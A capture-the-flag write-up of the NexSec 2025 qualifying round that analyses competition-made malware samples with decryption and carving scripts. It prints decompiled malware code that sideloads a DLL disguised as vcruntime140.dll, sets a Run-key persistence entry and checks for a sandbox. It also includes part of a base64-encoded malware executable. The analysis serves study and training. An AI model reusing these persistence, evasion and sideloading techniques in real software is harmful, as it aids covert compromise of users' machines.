Post

NexSec 2025 - Qualifying Round

NexSec 2025 - Qualifying Round

This CTF focused heavily on digital forensics, malware analysis, incident response, and reverse engineering. The challenges involved analyzing compromised systems, memory dumps, malicious documents, and various attack techniques including C2 communication, credential dumping, and persistence mechanisms.

The NexSec 2025 Intervarsity Cyber Forensics Challenge was held from December 13-14, 2025. Our team NoobMaster#542656942 (zeqzoq, 4ry, me) participated and achieved Top 10 placement. Due to a schedule conflict, we withdrew from the final round scheduled for December 18-19.

Table of Contents

  1. Tools Used
  2. Reverse Engineering
  3. Malware Analysis
  4. Incident Response
  5. Digital Forensics
  6. Yap-yap-yap

Tools Used

Tools Used

  • Reverse Engineering: IDA Pro, Ghidra, Python, dnSpy
  • Memory Forensics: Volatility 3, strings, grep
  • Malware Analysis: dnSpy, de4dot, PE-bear, CyberChef, oletools, VirusTotal, ExifTool, ILSpy, pylingual, kramer_decryptor
  • Network Analysis: Wireshark, tcpdump, NetworkMiner, curl
  • Forensics Tools: FTK Imager, Autopsy, RegRipper, AmcacheParser, Registry Explorer, Event Log Viewer
  • Android Analysis: apktool, jadx
  • Cryptography: PyCryptodome (Salsa20, AES, RC4)
  • General: Python scripting, xxd, file, base64, PowerShell analysis, sha256sum, certutil

Reverse Engineering

Residual Implant

Challenge:

Following a compromise assessment, analysts extracted a small residual binary believed to have been part of a macOS backdoor. Reverse-engineer the binary and determine the C2 domain used by the implant.

  1. Using the file command, we discovered the binary contains two different architectures (Mach-O universal binary)

image

  1. Extracted both architectures for analysis

image

  1. In the _main function, we identified:
    • A decryption loop that reads bytes from __TEXT,__const
    • Dynamic function name building using XOR operations
  2. We dumped the __const section to locate the encrypted blob

  3. Created a Python script to decrypt the blob:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
from pathlib import Path

MASK = (1 << 64) - 1

def decrypt_blob(enc: bytes) -> bytes:
    out = bytearray(0x264)
    out[0:4] = (0x00905A4D).to_bytes(4, "little")  # "MZ\x90\x00"
    
    rdx = 0x00905A4D
    rdi = 0x200000005
    r9 = 0x2000000040000001
    rsi = 5
    
    while rsi != 0x265:
        rcx = (rdx * 0x38AAA0C8) & MASK
        prod = rcx * rdi
        rdx_mul = (prod >> 64) & MASK
        r10 = (rcx - rdx_mul) & MASK
        r10 = (r10 >> 1) & MASK
        r10 = (r10 + rdx_mul) & MASK
        r10 = (r10 >> 0x1E) & MASK
        rax = (r10 << 0x1F) & MASK
        # ... (decryption logic continues)
  1. After decryption, we extracted the C2 domain from the decrypted data

image

Flag: NEXSEC25{Pvt3QG28pg.capturextheflag.io}

Advisory Deception #1

Challenge:

During a routine security audit, our team intercepted a suspicious binary that was distributed to several network administrators. The file was delivered via email, claiming to contain an urgent “Internet Protocol Governance & Standards Advisory - March 2025” document.

The binary presents itself as a legitimate document viewer, but preliminary analysis suggests otherwise. Reverse-engineer the binary and identify the DLL name used by the malware to blend in with legitimate system files.

ps: infected

Disclaimer: This malware sample was created exclusively for the NEXSEC CTF competition. The authors are not responsible for any damages caused by misuse. All analysis should only be performed in a secure, isolated environment such as a virtual machine or sandbox.

From the docs there is actually an exe where it rename to a long file name to hide exe extension.

image

We decompile it using IDA and look for the main function. and see for any malware function.

image

We found that sub_140001450 is one of the important function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
__int64 __fastcall sub_140001450(int a1, __int64 a2)
{
  CHAR Filename[272]; // [rsp+30h] [rbp-50h] BYREF
  void (*v4)(void); // [rsp+140h] [rbp+C0h]
  FARPROC ProcAddress; // [rsp+148h] [rbp+C8h]
  HINSTANCE v6; // [rsp+150h] [rbp+D0h]
  LPCSTR lpFile; // [rsp+158h] [rbp+D8h]
  HMODULE hModule; // [rsp+160h] [rbp+E0h]
  int i; // [rsp+16Ch] [rbp+ECh]

  sub_140001740();
  hModule = LoadLibraryA("vcruntime140.dll");
  if ( !GetModuleFileNameA(0LL, Filename, 0x104u) )
  {
    puts("Failed to get module filename");
    return 1LL;
  }
  if ( a1 <= 1 )
  {
    lpFile = "Internet Protocol Governance.docx";
    v6 = ShellExecuteA(0LL, "open", "Internet Protocol Governance.docx", 0LL, 0LL, 1);
    ProcAddress = GetProcAddress(hModule, "__vcrt_InitializeCriticalSectionEx");
    if ( !ProcAddress )
    {
LABEL_7:
      GetLastError();
      sub_1400027C0("GetProcAddress failed: %lu\n");
      return 1LL;
    }
    ((void (__fastcall *)(CHAR *))ProcAddress)(Filename);
  }
  else
  {
    for ( i = 1; i < a1; ++i )
    {
      if ( !strcmp(*(const char **)(8LL * i + a2), "-accepteula") )
      {
        v4 = (void (*)(void))GetProcAddress(hModule, "_CreateFrameInfo");
        if ( !v4 )
          goto LABEL_7;
        v4();
      }
    }
  }
  FreeLibrary(hModule);
  return 0LL;
}

from the code it loadlibraryA vcruntime140.dll. that’s the DLL name used by the malware to blend in with legitimate system files.

Flag: NEXSEC25{vcruntime140.dll}

Advisory Deception #2

Challenge:

What directory does the malware copy itself to?

From last question, we decompile the vcruntime140.dll. Exploring the dll decompilation.

image

On sub_25D7F2212 shows some of the behavior. correlating with other function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
_BOOL8 sub_25D7F2212()
{
  int v1; // eax
  HKEY hKey; // [rsp+38h] [rbp-28h] BYREF
  LSTATUS v3; // [rsp+44h] [rbp-1Ch]
  char *Str; // [rsp+48h] [rbp-18h]
  LPCSTR lpValueName; // [rsp+50h] [rbp-10h]
  LPCSTR lpSubKey; // [rsp+58h] [rbp-8h]

  lpSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
  lpValueName = "MicrosoftSyncService";
  Str = "C:\\ProgramData\\MicrosoftSyncService\\WF_Microsoft_Sync_Service.exe -accepteula";
  if ( RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 2u, &hKey) )
    return 0LL;
  v1 = strlen(Str);
  v3 = RegSetValueExA(hKey, lpValueName, 0, 1u, (const BYTE *)Str, v1 + 1);
  RegCloseKey(hKey);
  return v3 == 0;
}

The malware does copy itself to the directory MicrosoftSyncService Flag: NEXSEC25{C:\Programdata\MicrosoftSyncService}

Advisory Deception #3

Challenge:

Uncover the exported function used to achieve persistence.

Then see the exported function the dll uses image

Flag: NEXSEC25{__vcrt_InitializeCriticalSectionEx}

Advisory Deception #4

Challenge:

What is the command and control (C2) domain that the implant communicates with?

We can find the C2 domain from virus total relations

image

Flag: NEXSEC25{fj3m58a9.capturextheflag.io}

Stolen Credentials

Challenge:

During an incident response, we discovered a suspicious binary (soso.exe) that was encrypting harvested credentials before storing them in password.txt.

  1. We extracted a 32-byte Key and an 8-byte Nonce from the challenge binary/script. Key: D3FC98F246D58C002285904D6120D205CD7EB0B54245764BE494712A7AEC549E Nonce: 1C0AEA05C0AEAE60
  2. The file password.txt contained the Base64 string: l/91qeiC30SlA/2t9i/v59T/3QbU
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//solve.py
from Crypto.Cipher import Salsa20  # Changed from ChaCha20 to Salsa20
import binascii
import base64

Extracted Parameters
KEY_HEX = "D3FC98F246D58C002285904D6120D205CD7EB0B54245764BE494712A7AEC549E"
NONCE_HEX = "1C0AEA05C0AEAE60"

Target Ciphertext (from password.txt)
CIPHERTEXT_B64 = "l/91qeiC30SlA/2t9i/v59T/3QbU"

def solve():
    try:
        print(f"[*] Ciphertext (B64): {CIPHERTEXT_B64}")

Decode inputs
        key = binascii.unhexlify(KEY_HEX)
        nonce = binascii.unhexlify(NONCE_HEX)
        ciphertext = base64.b64decode(CIPHERTEXT_B64)

        # Initialize Cipher: Salsa20
        cipher = Salsa20.new(key=key, nonce=nonce)

Decrypt
        plaintext = cipher.decrypt(ciphertext)

Print Result
We try to decode as UTF-8. If it fails, we print the raw representation.
        try:
            print(f"\n[+] FLAG: {plaintext.decode('utf-8')}")
        except UnicodeDecodeError:
            print(f"\n[!] Decoding Error. Raw Output: {plaintext}")

    except Exception as e:
        print(f"[!] Error: {e}")

if name == "main":
    solve()

//NEXSEC25{QWERTYasdfg12345!@#$%}

Flag: NEXSEC25{QWERTYasdfg12345!@#$%}

QuackBot

Challenge:

We identified a phishing campaign that uses several evasion techniques to deliver malware. Our visibility is limited to the malicious email attachment; any activity beyond that point requires further malware analysis. Analyse the malware to find what evil action being done by it.

Changed the extension from .quack to .pyc and This is the output from pylingual we can see that it is obfuscated with kramer

image

So after researching for quite awhile i stumbled upon this deobfuscator tool

Then we’ll get the deobfuscated file, there were a long b64 blob and a key ‘My53cretk3yzztew’

image

We figured it is encrypted via RC4. Script to decode from RC4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import base64, re, sys

inp = sys.argv[1] if len(sys.argv) > 1 else "QuackBot.pyc_decrypted_638238.py.txt"
txt = open(inp, "r", encoding="utf-8", errors="ignore").read()

b64m = re.search(r"base64\.b64decode\('([^']+)'\)", txt)
keym = re.search(r"key\s*=\s*'([^']+)'\.encode\('ascii'\)", txt)
if not b64m or not keym:
    raise SystemExit("[-] Couldn't find base64 blob or key in the decrypted python text")

ct = base64.b64decode(b64m.group(1))
key = keym.group(1).encode("ascii")

# RC4 (KSA + PRGA)
S = list(range(256))
j = 0
for i in range(256):
    j = (j + S[i] + key[i % len(key)]) & 0xFF
    S[i], S[j] = S[j], S[i]

out = bytearray()
i = j = 0
for b in ct:
    i = (i + 1) & 0xFF
    j = (j + S[i]) & 0xFF
    S[i], S[j] = S[j], S[i]
    k = S[(S[i] + S[j]) & 0xFF]
    out.append(b ^ k)

open("payload.bin", "wb").write(out)
print(f"[+] wrote payload.bin ({len(out)} bytes)")
print("[+] first 16 bytes:", out[:16].hex())

Then we extract stage0 container from payload.bin

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
import struct

buf = open("payload.bin", "rb").read()

base = 0x5                       # size dword starts at offset 5
size = struct.unpack_from("<I", buf, base)[0]

open("stage0_container.bin", "wb").write(buf[base:base+size])
print(f"[+] size field: 0x{size:x}  wrote stage0_container.bin ({size} bytes)")

After that we decrypt stage0 blob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python3
import struct

M32 = 0xFFFFFFFF

def rol(x, r): return ((x << r) | (x >> (32 - r))) & M32
def ror(x, r): return ((x >> r) | (x << (32 - r))) & M32

def keystream_block(counter16: bytes, key16: bytes) -> bytes:
    # state = counter ^ key (4 little-endian dwords)
    w = [struct.unpack_from("<I", counter16, i*4)[0] ^ struct.unpack_from("<I", key16, i*4)[0] for i in range(4)]
    a, b, c, d = w[0], w[1], w[2], w[3]

    # 0x10 rounds (matches the 0x8455 ARX loop you disassembled)
    for _ in range(0x10):
        r8 = (b + a) & M32
        c  = (c + d) & M32
        b  = rol(b, 5)
        b ^= r8
        r8 = ror(r8, 16)
        d  = rol(d, 8)
        d ^= c
        c  = (c + b) & M32
        b  = ror(b, 0x19)
        b ^= c
        c  = ror(c, 16)
        a  = (r8 + d) & M32
        d  = ror(d, 0x13)
        d ^= a

    # xor with key again (the second xor loop in 0x8455)
    a ^= struct.unpack_from("<I", key16, 0)[0]
    b ^= struct.unpack_from("<I", key16, 4)[0]
    c ^= struct.unpack_from("<I", key16, 8)[0]
    d ^= struct.unpack_from("<I", key16, 12)[0]

    return struct.pack("<IIII", a, b, c, d)

def inc_counter_be(c: bytearray):
    # increments from last byte with carry (like the add-at-[15] then carry-left loop)
    for i in range(15, -1, -1):
        c[i] = (c[i] + 1) & 0xFF
        if c[i] != 0:
            break

buf = bytearray(open("stage0_container.bin", "rb").read())

KEY_OFF = 0x04
CTR_OFF = 0x14
DATA_OFF = 0x23C
DATA_LEN = 0x5184

key = bytes(buf[KEY_OFF:KEY_OFF+16])
ctr = bytearray(buf[CTR_OFF:CTR_OFF+16])

print("[+] key:", key.hex())
print("[+] ctr:", bytes(ctr).hex())
print(f"[+] decrypting @0x{DATA_OFF:x} len=0x{DATA_LEN:x}")

for i in range(0, DATA_LEN, 16):
    ks = keystream_block(bytes(ctr), key)
    chunk = min(16, DATA_LEN - i)
    for j in range(chunk):
        buf[DATA_OFF + i + j] ^= ks[j]
    inc_counter_be(ctr)

open("stage0_decrypted.bin", "wb").write(buf)
print("[+] wrote stage0_decrypted.bin")

Last but not least we carve the embedded PE from stage0_decrypted.bin to carved_stage1.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python3
import struct

b = open("stage0_decrypted.bin", "rb").read()

def find_pe():
    for off in range(len(b) - 0x200):
        if b[off:off+2] != b"MZ":
            continue
        e = struct.unpack_from("<I", b, off+0x3c)[0]
        pe = off + e
        if 0 <= pe < len(b)-4 and b[pe:pe+4] == b"PE\x00\x00":
            return off
    return None

mz = find_pe()
if mz is None:
    raise SystemExit("[-] No valid MZ/PE found")

e_lfanew = struct.unpack_from("<I", b, mz+0x3c)[0]
pe = mz + e_lfanew

Machine, nsec, _, _, _, optsz, _ = struct.unpack_from("<HHIIIHH", b, pe+4)
sec_off = (pe + 24) + optsz

end = 0
for i in range(nsec):
    sh = sec_off + i*40
    sz_raw, ptr_raw = struct.unpack_from("<II", b, sh+16)
    end = max(end, ptr_raw + sz_raw)

pe_bytes = b[mz:mz+end]
open("carved_stage1.exe", "wb").write(pe_bytes)
print(f"[+] PE @ 0x{mz:x}  Machine=0x{Machine:x}  sections={nsec}  size=0x{len(pe_bytes):x}")
print("[+] wrote carved_stage1.exe")

To get the flag we can actually do 2 ways either strings or decompile it to get the values, i did both just to make sure but imma just put strings here. the flag bytes are stored as dot-separated octal numbers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
strings -a carved_stage1.exe | grep -E '([0-7]{1,3}\.){8,}[0-7]{1,3}'

156.145.170.163
145.143.62.65
173.65.61.63
141.146.143.61
62.67.62.142
64.60.66.66
70.71.71.65
144.141.63.146
66.71.146.141
145.145.145.65
142.63.67.144
144.65.70.142
145.143.143.143
71.146.142.146
64.61.143.143
63.142.64.64
141.65.70.66
66.71.144.145
66.175

Decode them with CyberChef

image

Flag: nexsec25{513afc1272b40668995da3f69faeee5b37dd58beccc9fbf41cc3b44a58669de6}

Malware Analysis

Rembayung #1

Challenge:

One of our employees received an email inviting them to the opening ceremony of a restaurant. The email appeared suspicious, and fortunately our email system automatically quarantined it. Could you help us locate the payload?

Flag Format: nexsec25{place}

ps: infected

Disclaimer: This malware is used the competition MCMC CTF. Netbytesec is not responsible for any damages caused as a result of inappropriate use of this malware. All examination of malicious files should only be performed inside a secure, isolated, and controlled environment

We can find the payload by exiftool the .docm file image

Flag: nexsec25{Description}

Rembayung #2

Challenge:

Give the SHA256 of the malware

Flag Format: nexsec25{hashvalue}

Extract and decode base64 payload from the description

1
2
3
4
5
6
7
(base)┌──(akmal㉿parrot)-[~/Desktop]
└─$ echo "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYKAJOrO2kAAAAAAAAAAPAALgILAgIqABoAAAA2AAAAAgAA8BMAAAAQAAAAAABAAQAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAADAAAAABAAAac8AAAMAYAEAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAgAAAhAYAAAAAAAAAAAAAAFAAACgCAAAAAAAAAAAAAACwAAB8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEAAACgAAAAAAAAAAAAAAAAAAAAAAAAAyIEAAHgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAABgYAAAAEAAAABoAAAAEAAAAAAAAAAAAAAAAAABgAABgLmRhdGEAAACQAAAAADAAAAACAAAAHgAAAAAAAAAAAAAAAAAAQAAAwC5yZGF0YQAAcAUAAABAAAAABgAAACAAAAAAAAAAAAAAAAAAAEAAAEAucGRhdGEAACgCAAAAUAAAAAQAAAAmAAAAAAAAAAAAAAAAAABAAABALnhkYXRhAACcAQAAAGAAAAACAAAAKgAAAAAAAAAAAAAAAAAAQAAAQC5ic3MAAAAAgAEAAABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAMAuaWRhdGEAAIQGAAAAgAAAAAgAAAAsAAAAAAAAAAAAAAAAAABAAADALkNSVAAAAABgAAAAAJAAAAACAAAANAAAAAAAAAAAAAAAAAAAQAAAwC50bHMAAAAAEAAAAACgAAAAAgAAADYAAAAAAAAAAAAAAAAAAEAAAMAucmVsb2MAAHwAAAAAsAAAAAIAAAA4AAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNmZi4PH4QAAAAAAA8fQABIg+
… +Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUAkAAAEAAAAAigIKA4oECgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" | base64 -d > file.bin

(base)┌──(akmal㉿parrot)-[~/Desktop]
└─$ sha256sum file.bin 
ca9e35196f04dca67275784a8bd05b9c4e7058721204ccd5eef38244b954e1c3  file.bin

Flag: NEXSEC25{ca9e35196f04dca67275784a8bd05b9c4e7058721204ccd5eef38244b954e1c3}

Speed Test Anomaly (Initial Discovery)

A user reported that they downloaded a network speed testing utility from a third-party website to diagnose their slow internet connection. The application claims to measure download/upload speeds and display detailed network statistics.

However, after running the tool, the user noticed unusual outbound network traffic that didn’t match typical speed test patterns. The security team suspects this may be a disguised threat and needs to identify the threat actor’s infrastructure.

Findings: We got a file called NetworkSpeed.exe. Check the file type

1
2
3
(base) ┌─[akmal@parrot]─[/tmp/ns2]
└──╼ $file NetworkSpeed.exe
NetworkSpeed.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Open ILSpy and look for main which called MainForm

image

In the class MainForm, the function RunNetworkBenchmark() searches the executable for embedded resources

image

In MeasureDownloadSpeed, The program then reads bytes from pixels in order: ● take R, then G, then B ● keep going until it collects num bytes ● it skips the first two pixels on the first row because those were used for the length header

We figured to we need C# script to build SecondStage.dll. Used gpt for that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
//SecondStage.cs
using System;
using System.Drawing;
using System.IO;

class SecondStage
{
    public static byte[] MeasureDownloadSpeed(Bitmap networkStream)
    {
        // Read payload size from the first two pixels:
        // num = (P(0,0).G << 24) | (P(0,0).B << 16) | (P(0,0).R << 8) | P(1,0).G
        Color pixel = networkStream.GetPixel(0, 0);
        Color pixel2 = networkStream.GetPixel(1, 0);
        int num = (pixel.G << 24) | (pixel.B << 16) | (pixel.R << 8) | pixel2.G;

        // Extract raw payload bytes from subsequent pixels (R, then G, then B)
        byte[] array = new byte[num];
        int num2 = 0;

        for (int i = 0; i < networkStream.Height && num2 < num; i++)
        {
            int startX = (i == 0) ? 2 : 0; // skip first two pixels on first row
            for (int j = startX; j < networkStream.Width && num2 < num; j++)
            {
                Color pixel3 = networkStream.GetPixel(j, i);

                if (num2 < num) array[num2++] = pixel3.R;
                if (num2 < num) array[num2++] = pixel3.G;
                if (num2 < num) array[num2++] = pixel3.B;
            }
        }

        // De-obfuscate the extracted bytes into the final DLL bytes
        return CalculateThroughput(array);
    }

    public static byte[] TestLatency(Stream benchmarkStream)
    {
        using (Bitmap networkStream = new Bitmap(benchmarkStream))
        {
            return MeasureDownloadSpeed(networkStream);
        }
    }

    private static byte[] CalculateThroughput(byte[] packetData)
    {
        // Simple reversible transform:
        // b2 ^= (len - i)
        // b3 = ROTR4(b2) ^ i ^ 0x7A
        byte key = 0x7A; // 122
        int ror = 4;

        byte[] output = new byte[packetData.Length];
        for (int i = 0; i < packetData.Length; i++)
        {
            byte b2 = packetData[i];
            b2 ^= (byte)((packetData.Length - i) & 0xFF);

            byte rotated = (byte)((b2 >> ror) | (b2 << (8 - ror)));
            output[i] = (byte)(rotated ^ (byte)(i & 0xFF) ^ key);
        }
        return output;
    }

    static void Main()
    {
        // Reads the BMP carrier and writes the recovered second-stage DLL
        const string bmpPath = "NetworkSpeed.Resources.NetworkIcon.bmp";
        const string outPath = "SecondStage.dll";

        using (FileStream fs = File.OpenRead(bmpPath))
        {
            byte[] dllBytes = TestLatency(fs);
            File.WriteAllBytes(outPath, dllBytes);
            Console.WriteLine("Wrote " + outPath + " (" + dllBytes.Length + " bytes)");
        }
    }
}

Speed Test Anomaly #1

Challenge:

Identify the library name used by the malware to detect sandbox environments

image

Found this function in NetworkValidator which use SbieDLL.dll module. The function checks for the presence of SbieDll.dll, which is commonly loaded by Sandboxie. If the module is found, it assumes it is running in a sandbox environment.

image

Flag: NEXSEC25{SbieDll.dll}

Speed Test Anomaly #2

Challenge:

What is the minimum system drive size (in GB) required for the malware to execute?

Found this function in ValidateNetworkSettings()

image

From the code we find:

  • It gets the system drive (usually C:) using Environment.SystemDirectory
  • Checks the drive’s TotalSize (in bytes)
  • If the drive size is ≤ 61,000,000,000 bytes, it returns true

61,000,000,000 bytes = 61GB

Flag: NEXSEC25{61}

Speed Test Anomaly #3

Challenge:

What filename does the malware use to save captured screenshots?

For this one, I rely on GPT fully. But here’s the summary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
I got it by extracting and decoding the hidden .NET payload from the embedded BMP, then pulling the payload’s Unicode strings.

Here’s what I did (exactly matching the functions in your VB code):

Export/open the embedded resource NetworkSpeed.Resources.NetworkIcon.bmp.

Recreate MeasureDownloadSpeed(bitmap):

Read pixels (0,0) and (1,0) to compute the payload length:

len = p00.G<<24 | p00.B<<16 | p00.R<<8 | p10.G

Walk the image pixels (row 0 starts at x=2, other rows x=0), and append bytes in R, G, B order into a buffer.

Recreate CalculateThroughput(packetData) to decrypt:

b2 = packet[i] XOR ((len - i) & 255)

rotate right by 4 bits

out[i] = rotated XOR (i & 255) XOR 0x7A

The output starts with MZ → it’s a valid PE/.NET assembly.

Run Unicode strings on the decoded payload and grep for image extensions:

strings -a -el payload_from_bmp.bin | grep -Ei "\.jpg|\.png"

That yields:

\aSdFgHjKl\QwErTyUiOp\ZxCvBnMl.jpg

So the screenshot filename used is:

ZxCvBnMl.jpg

(That full string is hardcoded inside the decoded payload, not in the loader stub you pasted.)

Flag: NEXSEC25{ZxCvBnMl.jpg}

Speed Test Anomaly #4

Challenge:

As usual, extract the domain used by the attacker.

Decode network secret in NetworkConfig

image

1
2
3
(base) ┌─[✗]─[akmal@parrot]─[~/Desktop]
└──╼ $echo -n "QWdYdDZUc2R3bTE4Y3p5Y2UycXpwN3RoTDhIbmc2eHc=" | base64 -d; echo
AgXt6Tsdwm18czyce2qzp7thL8Hng6xw

these are the variable with encrypted value NetworkConfig.TelemetryNetwork & NetworkConfig.ConnectivityModule, and this is the protocolSalt

image

image

Script to generate the AES Key and IV to decrypt the other strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//solve.py
import hashlib
import base64
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding

# 1. Configuration from C# Code
# The password found in "SecureChannelProvider"
network_secret = "AgXt6Tsdwm18czyce2qzp7thL8Hng6xw"

# The hardcoded salt from FetchRemoteProfile.protocolSalt
salt_bytes = bytes([
    191, 235, 30, 86, 251, 205, 151, 59, 178, 25,
    2, 36, 48, 165, 120, 67, 0, 61, 86, 68,
    210, 30, 98, 185, 212, 241, 128, 231, 230, 195,
    57, 65
])
iterations = 50000

# 2. Key Derivation (PBKDF2 - matches Rfc2898DeriveBytes)
# We need 32 bytes for AES Key + 64 bytes for HMAC Key (unused here)
dk = hashlib.pbkdf2_hmac('sha1', network_secret.encode('utf-8'), salt_bytes, iterations, 96)
aes_key = dk[:32]

# 3. Decryption Function
def decrypt_string(b64_input):
    # Decode Base64
    data = base64.b64decode(b64_input)
    
    # Structure: [HMAC (32 bytes)] [IV (16 bytes)] [Ciphertext (Rest)]
    # iv = data[32:48]
    # ciphertext = data[48:]
    
    iv = data[32:48]
    ciphertext = data[48:]

    # AES-256-CBC Decryption
    cipher = Cipher(algorithms.AES(aes_key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()
    padded_data = decryptor.update(ciphertext) + decryptor.finalize()
    
    # Unpad (PKCS7)
    unpadder = padding.PKCS7(128).unpadder()
    decrypted_data = unpadder.update(padded_data) + unpadder.finalize()
    
    return decrypted_data.decode('utf-8')

# 4. Decrypt the targets
telemetry = "whQkhfaCW4dvBnzTCDW5rW6KLTU9RiSTcNwWFR/1gNP8rRfd9nuzy53BXr26J/7peazAVzWXDeL02U5ZiAQ1xbh9hBpgXzGf0/ukSaW+9mwFRwVGOnaRwSgyJpJ7KAOK"
connectivity = "KgLzmYKpZFe6P8SFkeOJyQqQdHpgagBwgiWg5GxfuQzId0L67FdiyDp8qZGyxPtUE+LOUJwuPrqsXWydzpUjsw=="

print("Domain:", decrypt_string(telemetry))
print("Port:  ", decrypt_string(connectivity))

Flag: NEXSEC25{1k92jsas.capturextheflag.io}

Photo Viewer Gone Rogue

Challenge:

A user downloaded what appeared to be a legitimate photo gallery application from a third-party app store. Shortly after installation, they noticed unusual battery drain and suspicious network activity. The device’s security logs show the app accessing resources it shouldn’t need for a simple gallery viewer.

Analyze the APK and the flag hidden in the malware.

Decompile the APK file using apktool or jadx and after a while checking all the files i saw this b64 encoded

1
2
3
<string name="media_unlock">NXVwNDUzY3UyNGszeVlvX2p1NTdmMDIxaDRjazIwMjQ=</string>

<string name="splashscreen">4GWN1LWGUMR2pKAngPA+6n7lBdGLdImliS+bGCoEK8orXLtijGZF4i2AgLDqArfYwa9PQbsFh5+RTy4VqB3VfdtBsWbSR0Y1hRcjjbNeBVA=</string>

Script to decode it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

MEDIA_UNLOCK_B64 = "NXVwNDUzY3UyNGszeVlvX2p1NTdmMDIxaDRjazIwMjQ="
SPLASHSCREEN_B64 = "4GWN1LWGUMR2pKAngPA+6n7lBdGLdImliS+bGCoEK8orXLtijGZF4i2AgLDqArfYwa9PQbsFh5+RTy4VqB3VfdtBsWbSR0Y1hRcjjbNeBVA="

def b64d(s: str) -> bytes:
    return base64.b64decode(s)

def main():
    key = b64d(MEDIA_UNLOCK_B64)  # key is ASCII bytes
    ct = b64d(SPLASHSCREEN_B64)

    pt = AES.new(key, AES.MODE_ECB).decrypt(ct)
    pt = unpad(pt, 16)

    print("Key:", key.decode("utf-8", errors="replace"))
    print("Output:", pt.decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

The script execution:

1
2
3
4
(base) ┌─[akmal@parrot]─[~/Desktop]
└──╼ $python3 solve.py
Key: 5up453cu24k3yYo_ju57f021h4ck2024
